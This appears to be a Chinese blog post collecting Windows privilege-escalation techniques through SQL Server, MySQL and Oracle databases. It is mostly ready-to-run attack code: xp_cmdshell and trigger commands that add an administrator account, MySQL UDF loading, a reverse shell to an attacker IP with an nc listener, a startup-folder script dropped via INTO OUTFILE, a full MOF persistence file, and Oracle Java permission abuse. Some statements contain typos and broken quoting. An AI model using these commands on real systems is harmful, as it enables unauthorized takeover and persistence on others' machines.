windows提权方法收集

一、利用数据库提权
1. SQL Server 提权方法
(1) SQL Server 2005添加xp_cmdshell存储过程提权

前提:已经拥有了数据库的sa用户权限
首先运行SQL语句,修改配置重新打开执行操作系统命令的存储过程;

Exec sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;

之后,运行语句添加用户,并加入管理员用户组:

Exec master.dbo.xp_cmdshell 'net user test test /add';
Exec master.dbo.xp_cmdshell 'net localgroup administrators test /add';

接下来利用远程终端登录即可。

(2)利用触发器提权
前提:拥有db_owner权限
创建触发器,在向XX_table插入数据以后会执行:

create TRIGGER TR_ROOT ON XX_table
AFTER INSERT
AS
BEGIN
      EXECUTE SP_ADDEXTENDEDPROC 'MASTER.DBO.XP_CMDSHELL','XPLOG70.DLL'--'XPSQL70.DLL'
      EXECUTE MASTER.DBO.XP_CMDSHELL 'NET START TELNET'
      EXECUTE MASTER.DBO.XP_CMDSHELL 'net user test test /add'
      EXECUTE MASTER.DBO.XP_CMDSHELL 'net localgroup administrators test /add'
End

注意:XX_table必须是管理员进行插入操作的表!
————————————————————————————————
2. Mysql提权方法
(1)利用UDF提权
前提:一个低权限的mysql账号,且拥有insert和delete权限,操作系统为Windows,已有文件上传漏洞

将webshell(udf.php)上传到服务器,配置连接数据库,导出UDF.DLL到默认的插件目录下(/lib/plugin),创建shell函数,执行操作系统命令,添加管理用户。

create function cmdshell returns string soname 'udf.dll';
select cmdshell('net user test test /add');
select cmdshell('net localgroup administrators test /add');

(2)反弹端口连接提权
前提:无法Getshell,但存在SQL注入漏洞,可以外连,并且已经是root。

首先远程连接mysql数据库:

mysql -h IP -uroot -p
Enter password:
mysql> \. c:\mysql.txt
mysql>selet backshell("yourIP",2222);

本地:

nc -vv -l -p 2222

mysql.txt文件在下方下载:
http://www.waitalone.cn/mysql-tiquan-summary.html?replytocom=390

(3)添加自启动脚本
前提:拥有File权限
执行以下SQL语句:

mysql>create table backshell (cmd text);
mysql>insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );
mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user test test /add"",0) " );
mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );
mysql>select * from backshell into outfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp";

想办法让计算机重启。

(4)利用MOF提权
编辑以下代码保存为test.mof,然后导出到%SystemRoot%\System32\Wbem\MOF 文件夹(利用into dumpfile)

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test test /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

————————————————————————————————
3. Oracle提权
(1)Oracle 11g利用Java提权
前提:拥有create session权限和所有的Java权限
创建存储过程:

DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECTGRANT’,USER(), ‘SYS’,’java.io.FilePermission’,’<<ALL FILES>>‘,’execute’,’ENABLED’ from dual;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/

如果没有创建或者执行存储过程的权限,那么可以直接执行下面的语句:

select dbms_java.runjava(‘oracle/aurora/util/Wrapper c:windowssystem32cmd.exe /c dir>c:out.lst’)from dual;

原文地址:https://www.notsosecure.com/hacking-oracle-11g/
——————————————————————————————
参考:
mysql提权总结:http://www.waitalone.cn/mysql-tiquan-summary.html?replytocom=390
《Web安全之路——渗透技术及实践案例解析》

未完待补充。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值